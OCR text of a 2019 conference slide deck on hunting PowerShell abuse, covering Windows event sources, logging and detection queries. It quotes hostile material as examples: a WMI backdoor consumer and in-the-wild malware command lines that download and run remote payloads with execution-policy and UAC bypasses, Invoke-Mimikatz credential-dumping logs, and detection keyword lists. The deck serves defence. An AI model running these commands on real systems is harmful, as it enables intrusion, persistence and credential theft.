N
VFF
RONE

2019

Hunting For PowerShell Abuse

Teymur Kheirkhabarov
Head of Cyber Defense Center, Bl.ZONE

Moscow, 17 June 2019



Who am | —

RONE

2019

« Head of Cyber Defense Center at BI.ZONE
* Threat Hunter

 Big fan of ELK stack

« ZeroNights / PHDays / OFFZONE speaker
* GIAC GXPN certified

» Ex- Head of SOC R&D at Kaspersky Lab

* Ex- SOC Analyst

« Ex- Infosec Admin/Engineer

« Ex- Sysadmin

« Twitter @HeirhabarovT
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- Task automation and configuration Operating System Installed PS Supported PS
management framework from Microsoft; Version Versions
« Consisting of a command-line shell and Windows 7 2.0 2.0,3.0, 4.0,
associated scripting language; 5.0, 5.1
« Built on the .NET Framework; Windows Server 2008 R2 20(%)  2.0,3.0,4.0,
5.0, 5.1
« Enabling administrators to perform Wind o
administrative tasks on both local and indaows 3.0 2.0,3.0
remote Windows systems; Windows Server 2012 3.0 2.0,3.0,4.0
 Installed and enabled by default on Windows 8.1 4.0 2.0,4.0, 5.0,
Windows 7, Server 2012 and later; 5.1
« |t was made open-source and cross- Windows Server 2012 R2 4.0 2.0, 4.0, 5.0,
platform on 18 August 2016 wit the 5.1
introduction of PowerShell Core. Windows 10 51 20
Windows Server 2016 5.1 2.0

** PowerShell 2.0 is included in all latter Windows versions 4
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e . POWERSHELL
It is installed and enabled by default; EMPIRE
 Most attacker logic can be written in PowerShell
without the need to install malicious binaries
(interaction with .NET & Windows API, execution of
payloads directly from memory, downloading & NISHANG
execution code from another system, etc.); -
* It has remote access capabilities by default;
» As a script, It is easy to obfuscate and difficult to PS > ATTACK

detect with signature-based approach;

« Many sysadmins use and trust it, allowing PowerShell
malware to blend in with regular administration work;

 Most organizations are not watching PowerShell
activity.

Invoke-Mimikatz




How much attackers love PowerShell?

This chart illustrates how often each ATT&CK technique is leveraged in a confirmed threat in our customers’ environments. To provide
a degree of scope to this chart, the top technique is PowerShell, which was a component of 1,774 confirmed threats.
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PowerShell Execution Policies aren’t about security

Execution Policy is not a security measure as it is known and can be easily overcome. It has
been developed to prevent the damage they cause users run the script by accident

& Turn on Script Execution Command Prompt

E] e Previous Setting Next Setting

C:\Temp>powershell Get-ExecutionPolicy
Restricted

~ i £
O Not Configured ~ Comment:

O Enabled C:\Temp>type Hello.psl
rite-Host "Hello from PowerShell!!!"

(® Disabled ,
Supported on: At least Microsoft Windows 7 or Windows Server 2008 family

C:\Temp>powershell -file Hello.psl

Opticns: Help:

Execution Policy This policy setting lets you configure the script execution policy,
! controlling which scripts are allowed to run.

If you enable this policy setting, the scripts selected in the drop-
down list are allowed to run.

The "Allow only signed scripts” policy setting allows scripts to C:\Temp>powershell -ExecutionPolicy Bypass -file Hello.ps
execute only if they are signed by a trusted publisher. = ——— ———————— —r— B T ———— g

The "Allow local scripts and remote signed scripts” policy setting
allows any local scrips to run; scripts that originate from the
Internet must be signed by a trusted publisher.

The "Allow all scripts” policy setting allows all scripts to run.

If you disable this policy setting, no scripts are allowed to run.

Note: This policy setting exists under both "Computer C:\Temp>type Hello.psl | powershell -noprofile -

Configuration” and "User Configuration” in the Local Group Hello from PowerShell!!!
Policy Editor. The "Computer Configuration" has precedence

over "User Configuration.”

Cancel

C:\Temp>




PowerShell Execution Policies aren’t about security SFE
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A lot of ways to bypass it!

@NETSPI Security Testing Resolve Research Comp https//blognetsplcom/1 5_Ways_to_
bypass-the-powershell-execution-
policy/

NetSPI Blog

Get-Content .\script.ps1 | powershell.exe —noprofile -

15 Ways to Bypass the PowerShell Execution
Policy

type .\script.ps1 | powershell.exe —noprofile -

powershell -command "Write-Host Hello from PowerShell!lI””

By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. o o ’
This can be a hurdle for penetration testers, sysadmins, and developers, but it doesn’t have to be. In this In VOke-Command _ScrlpthOCk {erte-HOSt He”O from PO WerShe”I” }
blog I'll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights

on the system. I'm sure there are many techniques that I've missed (or simply don’t know about), but Get-COI’)tent ) \SCI’IptpS 1 I In VOke-EXpI’GSSIOI’I

hopefully this cheat sheet will offer a good start for those who need it.

What is the PowerShell Execution Policy? Set-ExecutionPOIicy BypaSS -Scope Process

The PowerShell execution policy is the setting that determines which type of PowerShell scripts (if any)

can be run on the system. By default it is set to “Restricted*, which basically means none. However, it’s

important to understand that the setting was never meant to be a security control. Instead, it was powershe” _Executlonpollcy BypaSS 'Flle X runm eps 1
intended to prevent administrators from shooting themselves in the foot. That’s why there are so

many options for working around it. Including a few that Microsoft has provided. For more information on

the execution policy settings and other default security controls in PowerShell | suggest reading Carlos

Perez’s blog. He provides a nice overview.



Event sources for detection of PowerShell abuses
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EID 5861 Windows WMI logging (Microsoft-

Windows-WMI-Activity/Operational
event log)

EID 5858

EID 4104 Script Block / Module Logging (Microsoft-

/-

Windows-PowerShell/Operational event
7))

EID 4103

[ Transcription Logging

[ PowerShell ConsoleHost_history. txt

Behavior detects on PowerShell processes

Signature/heuristic detects on PowerShell
scripts

Signature/heuristic detects on PowerShell

. . ) ) EPP (AV) detects log
scripts bodies, received via AMSI

Signature/heuristic detects on
ConsoleHost_history.txt files

Event Sources to hunt for
PowerShell Abuses
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EID 4688 with command lines (Process Creation)
] ] ) / EID 4698 (Scheduled Task Creation)
-[ Windows Security Event Log
r\ EID 4702 (Scheduled Task Modification)
] ) EID 7045 (Service Creation)
-[ Windows System Event Log ]
) ) EID 400
-[ PowerShell Engine state logging ]—
Process creation events
DLL loading events
Inter-process communication events (memory
access, remote threads creation)
-[ Sysmon/EDR I
Process network activity events
Registry keys modification events
File creation/modification events
\ J

-~

Antimalware Scan Interface (AMSI/Operational
event log)

.




Events For detection of PowerShell abuses
Process monitoring, command line parameters

{2 Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

Event Properties - Event 1, Sysmon

General Details

| new process has been created.

Creator Subject:
Security [D:
Account Mame:
Account Domain:
Logon ID:

Target Subject:
Security [D:
Account Mame:
Account Domain:
Logon ID:

Process Information:
Mew Process Dk
Mew Process Mame:
\powershell.exe
Token Elevation Type:
Mandatory Label:
Creator Process |[h
Creator Process Mame:

Process Command Line:

SHOCEWAVE \dadmin
dadmin

SHOCEWAWVE

(b8312

MNULL 5ID

Oneld

0x151c
CAWindows\System32\WindowsPowerShell\w1.0

%1937

Mandatory Label\High Mandatory Level

(120

CAWindows\System32\cmd.exe

powershell.exe Write-Host "Hello from PowerShel[!!!"

Process Create:

RuleMName:

UtcTime: 2019-06-15 05:36:22.397

ProcessGuid: {fcl46444-83d6-5d04-0000-00101d145a01}

Process|d: 3404

Image: CAWindows\System32\WindowsPowerShellvw1.0hpowershell.exe
FileVersion: 10.0.17134.1 (WinBuild.160101.0800)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

CommandLine: powershell.exe Write-Host "Hello from PowerShell!!!"
CurrentDirectory: CA\Windows'\system32\,

User: SHOCKWAVE\dadmin

LogonGuid: {fc146444-3caf-5d01-0000-002012830600}

Logonld: 0x68312

TerminalSessionld: 1

IntegrityLevel: High

Hashes: MD5=95000560239032BC68B4C2FDFCDEFS13,5HAZ56

ParentProcessGuid: {fcld46444-4462-5d01-0000-0010c327d4007}
ParentProcessld: 7436

Parentlmage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C\Windows\system32\cmd. exe”

=D3F8FADEE29D2B7B05%96CA304ARDAESCOS4ETE9BRASDEFEEDT 3BDATD 14466677



Events for detection of PowerShell abuses OFF
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Command line parameters. PowerShell engine log

Event 400 in the “Windows
PowerShell” log is generated by default
whenever the PowerShell starts. It
doesnt require any special audit
configuration.

Since PowerShell 5.0 HostApplication
filed of this event contains command
\Iine.

Event Properties - Event 400, PowerShell (PowerShell)

General

Details

Engine state is changed from None to Available.

Details:

MewEngineState=Available
PrevicusEngineState=MNone

SequenceMumber=13

HostMame=ConscleHost

HostVersion=5.1.17134.407

Hostld=80c /0fe0- 7ead-4cdc-9630-b63883 7ddbch
HostApplication=powershell.exe Write-Host Hello from PowerShell!!!
engineversion=2. 1.1/ 13440/
Runspaceld=35743a8e-95db-4462-5f67-686034163560
Pipelineld=

CommandMame=

CommandType=

ScriptName=

CommandPath=

CommandLine=




Events for detection of PowerShell abuses OFF
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Command line parameters. Services / scheduled tasks  =v

Event 7045 (service installation) from System event log is generated by default without any
specific audit configuration.

Event 4698 (scheduled task creation) from Security event log requires audit configuration.

{2 Event Properties - Event 4698, Microsoft Windows security auditing.

General Details General Details

<Prority> 7</Prionty> A service was installed in the system.
< /5ettings>
<Actions Context="Author"> Service Name: test3
< Exec> Service File Name: powershell.exe Write-Host "Hello from PowerShell!!!"
<Command> powershell.exe</Command> Service lype: user mode service
<Arguments>Write-Host "Hello from PowerShell!!!" < /Arguments> Service Start Type: demand start
</Exec> Service Account: LocalSystem
</Actions>

< Task= Log Mame: Systemn

Log Name: Security



Events For detection of PowerShell abuses
Command line parameters. WMI consumers

Event 5861 from Microsoft-Windows-WMI-
Activity/Operational is generated by default
since Windows 10 RS4 when event to
consumer binding is created.

General Details

WmikventConsumer activity detected:

RuleMame:

EventType: WmiConsumerEvent

UtcTime: 2019-06-15 06:37:50.810

Operation: Created

User: SHOCKWAVE\admin

Mame: "Backdoor Consumer”

Type: Command Line

Destination: "powershell IEX (New-0Object Net. Webclient).DownloadString
('http://10.0.0.1/test.ps1")"

Log Name: Microsoft-Windows-5ysmon/Operational

: 1
it

General Details

rror

Mamespace = //./root/subscription; Eventfilter = Backdoor Logon Filter (refer to its activate
eventid:3859): Consumer = CommandLineEventConsumer="Backdoor Consumer":
PossibleCause = Binding EventFilter:
instance of __EventFilter
i

CreatorSID ={1,5,0,0,0,0,0, 5, 21,0, 0, 0, 145, 224, 80, 99, 0, 15, 193, 226, &9, 198, 98,
63, 232, 3,0, 0},

EventNamespace = "root/cimv2";

Mame = "Backdoor Logon Filter”;

CQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE Targetlnstance
ISA "Win32_LoggedOnUser';

CuerylLanguage = "WOL"
k
Perm. Consumer:
instance of CommandLineEventConsumer
{

CommandLineTemplate = "powershell [EX (Mew-Object
MNet.Webclient).DownloadString(http://10.0.0.1/test.ps1")";

Creator5ID ={1,5,0,0,0,0,0, 5, 21,0, 0,0, 145, 224, 80, 99, 0, 15, 193, 226, 69, 198, 98,
63, 232, 3,0, 0},

Mame = "Backdoor Consumer":

>

Log Name: Microsoft-Windows-WMI-Activity/Operational




Events for detection of PowerShell abuses
Command line parameters. Persistence registry keys

Values of autorun registry keys also can be considered as command lines:

4 - onmatch="11 =
{2] Event Properties - Event 13, Sysmon onmatch=tinclude
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Registry value set:

RuleMame: reg_persistence_cmdline

EventType: SetValue

UtcTime: 2019-06-15 06:10:03.141

ProcessGuid: {fc146444-3c99-5d01-0000-0010c5b20000}

Processld: 632

Image: C:A\Windows\system32\services.exe

TargetObject: HKLM\System'\ CurrentControlSet\Services\test3\ImagePath
Details: powershell.exe Write-Host "Hello from PowerShell!!!"
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Log Name: Microsoft-Windows-5ysmon/Operational "reg per
<Targetlh]
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Put all command lines in one field g-FF
o
Put command lines from different types of events in a field with the same name in
order to be able to check all suspicious command lines at once with a single query:
if [winlog][channel] == "Microsoft-Windows-Sysmon/Operational" and [winlog][event_id] == 13 and
[winlog][event_data][RuleName] == "reg_persistence_cmdline" and [winlog][event_data][Details] != "" {
mutate {
add_field => { "[winlog][event_data][CommandLine]" => "%{[winlog][event_data][Details]}" }
}
) Autorun registry keys modification events

if [winlogl[channel] == "Microsoft-Windows-Sysmon/Operational" and [winlog][event_id] == 20 {
if [winlog]levent_data][Type] == "Command Line" and [winlog][event_data][Destination] != "" {
mutate {
add_field => { "[winlog][event_data][CommandLine]" => "%{[winlog][event_data][Destination]}" }
}

} CommandLine WMI consumers creation events



Events for detection of PowerShell abuses

Script Block logging

First appeared In PowerShell v5 and
Windows 8.1/2012R2 with KB3000850;

Automatically log code blocks if the
block’s contents match on a list of
suspicious commands, even if script
block logging is not enabled. These
suspicious blocks are logged at the
“warning” level in EID 4104, unless
script block logging is explicitly
disabled,;

If script block logging is enabled, the
blocks that are not considered
suspicious will also be logged to EID
4104, but with  “verbose” or
“information” levels.

0
ESZE

2019

{2 Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Detajls

sWin3Z2Functions | Add-Member -MemberType NoteProperty -Name
WaitForSingleObject -Value $WaitForSingleObject

SWriteProcessMemoryAddr = Get-ProcAddress kernel32.dll
WriteProcessMemory
SWriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr],
[UIntPtr].MakeByRefType()) ([Bool])
SWriteProcessMemory =
[System.Runtime.lnteropServices.Marshal]:: GetDelegateForFunctionPointer
($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
sWin3Z2Functions | Add-Member -MemberType NoteProperty -Name
WriteProcessMemory -Value $WriteProcessMemory

SReadProcessMemoryAddr = Get-ProcAddress kernel32.dlI
ReadProcessMemory
SReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr],
[UIntPtr].MakeByRefType()) ([Bool])
SReadProcessMemory =
[System.Runtime.lnteropServices.Marshal]:: GetDelegateForFunctionPointer

Log Name: Microsoft-Windows-PowerShell/Operational




PowerShell Script Block logging

OFF

List of suspicious commands in PowerShell sources YONE

// Regular string signatures that can be detected with just string comparison.

private static HashSet<string> s_signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase) {
// Calling Add-Type
"Add-Type", "D1llImport",

// Doing dynamic assembly building / method indirection

"DefineDynamicAssembly", "DefineDynamicModule", "DefineType'", "DefineConstructor", "CreateType",
"DefineLiteral", "DefineEnum", "DefineField", "ILGenerator", "Emit", "UnverifiableCodeAttribute",
"DefinePInvokeMethod", "GetTypes", "GetAssemblies", "Methods", "Properties",

// Suspicious methods / properties on "Type"

"GetConstructor", "GetConstructors", "GetDefaultMembers", "GetEvent", "GetEvents", "GetField",
"GetFields", "GetInterface", "GetInterfaceMap", "GetInterfaces", "GetMember", "GetMembers",
"GetMethod", "GetMethods", "GetNestedType", "GetNestedTypes", "GetProperties", "GetProperty",
"InvokeMember", "MakeArrayType", "MakeByRefType", "MakeGenericType', '"MakePointerType",
"DeclaringMethod", "DeclaringType", "ReflectedType", "TypeHandle", "TypelInitializer",
"UnderlyingSystemType",

// Doing things with System.Runtime.InteropServices
"InteropServices", "Marshal", "AllocHGlobal", "PtrToStructure", "StructureToPtr",
"FreeHGlobal", "IntPtr",

// General Obfuscation
"MemoryStream", "DeflateStream", "FromBase64String", "EncodedCommand", "Bypass', "ToBase64String",
"ExpandString", "GetPowerShell",

// Suspicious Win32 API calls
"OpenProcess", "VirtualAlloc", "VirtualFree", "WriteProcessMemory", "CreateUserThread", "CloseHandle",

https://github.com/Power
Shell/PowerShell/blob/02
b5f357a20e6dee9f8e60e
3adb9025be3c94490/src
/System.Management.Au
tomation/engine/runtime/
CompiledScriptBlock.cs




PowerShell Transcription

|==| PowerShell_transcript CODERED. UXqye5o0.20150616103113 64 E3 ‘

| Windows Error Reporting

| Windows Hello for Business
| Windows Ink Workspace
| Windows Installer

| Windows Logon Options

Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCerts
timeout St 10

Process ID: 2484

PSVersion: 5.1.17134.407
PSEdition: Desktop
PSCompatikbleVersions: 1.0, 2.0,
BuildVersion: 10.0.17134.407
CLEVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
LR R R R R R R R R R R R

P5>& {timeout /St 10
Import-Module .‘\Invoke-Mimikatz.p=sl
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCerts
timeout St 10

Waiting for 9 =seconds, press a key to continue

#]F O\ S OFF > http://blo

CEEREE. mimikatz 2.1.1 (x64) #17763 Mar & 2019 17:47:
LEE O~ ##. "h La Vie, A L'Emour™ - (oe.eao) ** Kitten Edition #**
## / \ #% /#*% Benjamin DELPY “gentilkiwi- benjamin@gentilkiwi.com )

| Windows Mail
| Windows Media Digital Righ
| Windows Media Player

| Windows Messenger

| Windows Mobility Center

| Windows PowerShell

| Windows Reliability Analysi
| Windows Remote Managen
| Windows Remote Shell

| Windows Update

| Work Folders
All Settings

"references

| Windows Settings

A Turn on PowerShell Transcription

E} Turn on PowerShell Transcripticn
() Not Configured Comment:

(@) Enabled

() Disabled
Supported on:

Options:

#] Control Panel Settings

Transcript cutput directory

\\creeper\PSTranscript

[[] Include invocation headers:

Available since PowerShell 5.0.

¥ v ¥R Vincent LE TOUX { vincent.letoux@gmail.com )
E s+ L > http://pingecastle.com / http://myvsmartlogon.com xS

Lets you capture the input and output
of Windows PowerShell commands
into text-based transcripts.

mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : O ; 426852 (00000000:00068364)
Ses=sion : Imteractive from 1

TU=zer HName : dadmin

Domain : SHOCEWAVE

Logon Server : CEREEFPER




PowerShell console history file

| B [ = | PSResdiine ProTip: Powershell keeps a console log at
B e s view C:\Users\
<username>\AppData\Roaming\Microsoft\Wi
ndows\PowerShel\PSReadline\ConsoleHost
_history.txt. Windows Defender will block this

file if you run Invoke-PSImage with mimikatz.
[;]' ChlUsers\dadmintAppData\Reaming\Microsoft\Windows\PowerShel\P5Readline\ConsoleHost_history.bt - Notepg & NMepesectn Taur

@broken_data

— v « Local Disk (C:) » Users » dadmin » AppData » Roaming » Microsoft » Windows » PowerShell » PSR
Mame \ Date modified Type Size

Q]' ConsoleHost_history.td B/16/2019 4:45 AM TXT File 56 KB

File Edit Search View Encoding Language Settings Tools Macre Run Plugins  Window 7
cOHER GBI 4DB e ing ax BR|H1EDDha | ©

[=| ConsoleHost_history t«t E3 |

By default, the PowerShell in

7 Inport-Module .\Invoke-Mimikatz.psl WlndOWS 10 SaveS the |aSt 4096

i NAInvoke-Mimikatz.psl . .
commands that are stored in a plain

Invoke-Mimikatz

Invoke-Mimikatz --DumpCreds text file located in the profile of

Invoke-Mimikatz -DumpCreds

Invoke-Mimikatz -DumpCreds eaCh user
Invoke-Mimikatz -DumplCreds -f£df

Invoke-Mimikatz -DumpCreds -—-ComputerName localhost

Tnvoke-Mimikatz This file ss created when someone

Invoke-Mimikatz -DumpCreds -ComputerName local

Invoke-Mimikatz -DumpCreds runs an interactive PowerShell

Invoke-Mimikatz DumpCreds R

S Invoke-Mimikatz.psl SGSSIOI’] aS SyStem
SInvoke-Mimikatz.psl

exit

ShutoLoggerName = '"OffzoneAMSILogger'

ShutoLoggerGuid = "{Z | (New-Guid) .Guid) "

1 item 1item s

reE

Add-EtwTraceProvider -AutologgerMName S4utolLoggerMame -Guid '{2AS5T7T6BET-094AT-5Z20E-

New-AutologgerConfig -Name SAutoLogogerName -Guid ShutolLoggerGuid —-Start Enabled




It is impossible to analyze all PowerShell executions!

Visualize / New Visualization (unsaved) Save Share Refresh Reporting C Auto-refresh <€ @ Last30days 2

* Oprtions n

Add a filter <

Number of unique computers Number of events

45135 1,831,610,451

KAJPIR{KY S

Visualize / New Visualization (unsaved) Save Share Refresh  Reporting

eventtype:2 AND filecrndline:*powershell*

Total PowerShell

Add a filter 4

C Auto-refresh

NN
OFF
RONE

2019

~ 45 000 PC, 30 days period

Total process execution
events

{ OlLlast3ddays 2

Options n

execution events

Number of unique computers © Number of events

23,570 8,383,590 4,047,232

Visualize / New Visualization (unsaved) Save Share Refresh C' Auto-refresh

eventtype:2 AND filecmdliner*powershell® AND -targetprocessaccountflags_list:(MaskAdmins LocalSystem Service)

Reporting { OlLlast3ddays 2

Options n

Add a filter <

Number of unique command lines

Number of unique computers Number of events Number of unique command lines Number of unique users

9,350 235,524 10,037

KAJPZR{IKY S

Number of unique users

12,860

KAJPIR{IKY S

Number of PowerShell
executions by a regular
user




PowerShell abuse patterns statistic

Before adaptation of detection rules:

filters Number of unique computers © Number of events © Number of unique command lines © Number of unique users
Win APl function calls 5

Cbfuscation

Download Cradles

Baseb4 in command
line

KAJPIR{KY S

After adaptation of detection rules:

filters Number of unique computers © Number of events © Number of unique command lines © Number of unique users
Win APl function calls . o8 5
Cbfuscation 10 Q

Basebt4 in command 63 8
line

Downlozad Cradles 64

86 KAJPIR{KY S




PowerShell abuse patterns

Suspicious PowerShell
interaction with other processes

F

[ "PowerShell without PowerShell.exe"

scripts (Script Blocks, AMSI scan buffers)

[ Suspicious patterns in the PowerShell

.

[ Lateral Movement with PowerShell

~

NN
OFF
RONE

2019

@ )

Suspicious PowerShell parent processes ]

Suspicious patterns in the
PowerShell command lines

.

Disabling/bypass PowerShell security
features (AMSI, Script Block logging,
Constrained Language Mode)

J

.

[ PowerShell script/interpreter in autorun

J

PowerShell Abuse
Detection

Obfuscation }

N

Renamed PowerShell ]

~

r

Suspicious PowerShell child processes ]

~

e

Suspicious PowerShell network activity ]

Suspicious files creation/
modification by PowerShell

22




Well-known PowerShell Offensive Frameworks OFF

* PowerSploit

* PowerCat

« Empire

« DarkObserver
 PowerMemory
 Invoke-Mimikatz

* |Invoke-Mimikittenz

PowerShell Arsenal
PowerShell-AD-Recon
DSinternals
DSCCompromise
Inveigh
Invoke-WMILM
PS>Attack

RONE

2019

Offensive-PowerShell
Kautilya

Nishang

PoshRat

PowerShell Suite
OWA-Toolkit
Sherlock
Invoke-PhantOm

23



Well-known PowerShell Offensive Frameworks
Let's hunt it!

Branch: master v sigma / rules / windows / powershell / powershell_malicious_commandlets.yml Find file = Copy path

ﬁ‘\ TaregAlKhatib Removed duplicate filters 7e4bbld on Jan 25

3 contributors Kﬂ

115 lines (114 sloc) 3.11 KB Raw Blame | History [J # [

title: Malicious PowerShell Commandlets
status: experimental
description: Detects Commandlet names from well-known PowerShell exploitation frameworks
modified: 2019/01/22
references:

- https://adsecurity.org/?p=2921
tags:

- attack.execution
- attack.t1086
author: Sean Metcalf (source), Florian Roth (rule)

logsource:
product: windows
service: powershell
definition: 'It is recommanded to use the new "Script Block Logging" of PowerShell v5 https://adsecurity.org/?p=2277"
detection:
keywords:
- Invoke-D1lInjection
- Invoke-Shellcode



https://github.com/Neo23x0/sigma/blob/master/rules/windows/powershell/powershell_malicious_commandlets.yml

Well-known PowerShell Offensive Frameworks
Let's hunt it!

Search for commandlet and function names from well-know PowerShell offensive
frameworks in PowerShell command lines and script blocks:

FF

ONE
2019

winlog.event_data.ScriptBlock Text:(*PowerUp* "*Invoke-Mimikatz*" "*Invoke-NinjaCopy*" "*Get-ModifiablePath*" "*Invoke-
AllChecks*" "*Invoke-AmsiBypass*" "*Invoke-PsUACme*" "*Invoke-Dllinjection*" "*Invoke-ReflectivePEInjection*" "*Invoke-
Shellcode*" "*Get-GPPPassword*" "*Get-Keystrokes*" "*Get-MicrophoneAudio*" "*Get-TimedScreenshot*" *PowerView*)

_source

winlog.event_data.ScriptBlockText: function Invoke-NinjaCopy { <# .SYNOPSIS This script can copy files off an NTFS volume by opening a read handle to the entire
This allows you to bypass the following protections: 1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or
to open the file, so Windows has no clue) 3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file If the LocalDestination param is specified, th
If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server. The script works by opening a read handle t

too). The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written in C

winlog.event_data.ScriptBlockText: Invoke-AllChecks type: beats ecs.version: 1.0.0 @version: 1 message: Creating Scriptblock text (1 of 1): Invoke-AllChecks 9

event.code: 4,104 event.kind: event event.action: Execute a Remote Command agent.version: 7.0.1 agent.hostname: Codered agent.type: winlogbeat agent.id: e39

tags: beats_input_codec_plain_applied @timestamp: Jun 9, 2019 @ 22:55:20.524 winlog.version: 1 winlog.event_data.MessageTotal: 1 winlog.event_data.ScriptBloc

5C40-4B15-8766-3CF1C58F985A} winlog.record_id: 2,082,174 winlog.activity_id: {61AC216E-1956-0000-FEE8-AE615619D501} winlog.process.pid: 8,900 winlog.process.t

winlog.computer_name: Codered.shockwave.local winlog.user.name: dadmin winlog.user.type: User winlog.user.domain: SHOCKWAVE winlog.user.identifier: S-1-5-21-1

winlog.event_data.ScriptBlockText: Invoke-Mimikatz type: beats ecs.version: 1.0.0 @version: 1 message: Creating Scriptblock text (1 of 1): Invoke-Mimikatz Sc

event.code: 4,104 event.kind: event event.action: Execute a Remote Command agent.version: 7.0.1 agent.hostname: Codered agent.type: winlogbeat agent.id: e39

tags: beats_input_codec_plain_applied @timestamp: Jun 9, 2019 @ 22:53:49.015 winlog.version: 1 winlog.event_data.MessageTotal: 1 winlog.event_data.ScriptBloc

5C40-4B15-8766-3CF1C58F985A} winlog.record_id: 2,080,434 winlog.activity_id: {61AC216E-1956-0001-E163-AF615619D501} winlog.process.pid: 8,900 winlog.process.t

winlog.computer_name: Codered.shockwave.local winlog.user.name: dadmin winlog.user.type: User winlog.user.identifier: S-1-5-21-1666244753-3804303104-106343789

winlog.event_data.ScriptBlockText: Invoke-DllInjection -ProcessID 6896 -D11 .\mbox.dll type: beats ecs.version: 1.0.0 @version: 1
1f102faea22e Path:

message: Creating Scriptblod

event.created: Jun 8, 2019 @ 23:16:54.175 event.code: 4,104 event.kind: event event.action: Execute a Remote Command agent.version: 7.0.1

25



Suspicious PowerShell parent process

Parent process application

category
MS Office App / PDF Reader

Possible attack
vector

Doc with macros/DDE etc.,
vulnerability exploitation

T1204:
T1173:
T1203:
T1064:

0
ESZE

2019
Possible MITRE ATT&CK
techniques

User Execution

Dynamic Data Exchange
Exploitation for Client Execution
Scripting (macros)

MS Outlook

Persistence via Outlook, process

execution via Outlook.Application
COM

T1137:
TT175:;
Model

Office Application Startup
Distributed Component Object

Internet Browser

Browser or plugin vulnerability
exploitation

T1189:
T1203:

Drive-by Compromise
Exploitation for Client Execution

Web Server Web Shell, vulnerability exploitation ~ T1100: Web Shell
T1210: Exploitation of Remote Services
T1190: Exploit Public-Facing Application
MS SQL Server xp_cmdshell, vulnerability T1210: Exploitation of Remote Services
exploitation T1190: Exploit Public-Facing Application
Other Server Applications Vulnerability exploitation T1210: Exploitation of Remote Services
T1190: Exploit Public-Facing Application
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Suspicious PowerShell parent process. ITW -—
FF
- RONE
https://www.hybrid- g B 2019
o _ _ analysis.com/sample/e431bclb 3 e
Tip: Click an analysed process below to view more details. acde51fd39a10f418¢c26487561f 17 !
e7c3abee15395314d9d4e621cc ,,'Yt\,' +1 T1086: PowerShell
ol fe o1

Analysed 11 processes in total (System Resource Monitor). 38e?environmentld=100 T1 204 User Executlon

=) EXCEL.EXE /dde (PID: 3404) ¢

i | crnd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(' http://ridart.ru/components/mi.ex . i
e ' %TEMP%\\pu457.exe’) & reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d % TEMP%\\pu457.exe /f & eventvwr.exe & PING T1 1 73 ’ Dyn amic D ata EXCh an g €
-n 15 127.0.0.1>nul & %TEMP%\\pu457.exe (PID: 3524) %

[i] powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(' http://ridart.ru/components/mi.exe }%T

EMP%\\pu457.exe’) (PID: 3596) @ =

Hybrid Analysis

-

Hybrid Analysis

https://www.hybrid-
- . , , analysis.com/sample/759fb4c0091a78c
T1 086 PowerShe” . ¥ Tip: Click an analysed process below to view more details. 5668/3571 5afe3082686a8493f3901 Aaea
T1204: User Execution 72dae36869de9ff6?environmentld=100

T1064: Scrlptlng Analysed 4 processes in total (System Resource Monitor).
W] WINWORD.EXE /n "C:\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx" (PID: 3996)

&g powershell.exe C:\Programs\Microsoft\Office\MSWord.exe\..\..\.\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -No
nl -W Hidden $Se=(New-Object System.Net.WebClient).DownloadString(‘http://sendmevideo.org/dh2025e/eee.txt’);powershell -enc Se # .EXE a (

Hybrid Analysis https://www.hybrid- Fiop]
analysis.com/sample/decd28ec5f0b Xra-¥—:rar .
Tip: Click an analysed process below to view more details. 17ad09252e1be47f45998598a3ed5 By O ) _.__':“L ::_ T1086: PowerShe”
~ 00d3347896948¢1b0935465%nvir0 SR Tmate EEMNNW(URIVEIE
nmentld=100 3 Fardl

Analysed 6 processes in total (System Resource Monitor).

) mshta.exe "C:\mshelp.hta" (PID: 2816)
ieg powershell.exe -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABJADOAbgBIAHcALQBVAGIAagBIAGMAJAAgAFMAe
QBzAHQAZQBtAC4ATgBIAHQALgBXAGUAYgBDAGWAaQBIAG4AdAAKAACAJABOACAAPQAKAGUAbgB2ADoAdABIAGOACAAgAACACQAKAAKA)



https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100
https://www.hybrid-analysis.com/sample/e431bc1bacde51fd39a10f418c26487561fe7c3abee15395314d9d4e621cc38e?environmentId=100
https://www.hybrid-analysis.com/sample/decd28ec5f0b17ad09252e1be47f45998598a3ed500d3347896948c1b0935465?environmentId=100

Suspicious PowerShell parent process. -~
Let's hunt it! Yonie

2019

Search for unusual PowerShell parent processes (browsers, MS Office, etc.):

winlog.provider_name:"Microsoft-Windows-Sysmon" AND winlog.event_id:1 AND
winlog.event_data.Parentimage:(“\\mshta.exe” "\\rundll32.exe" "\\regsvr32.exe" "\\services.exe" "\\winword.exe"
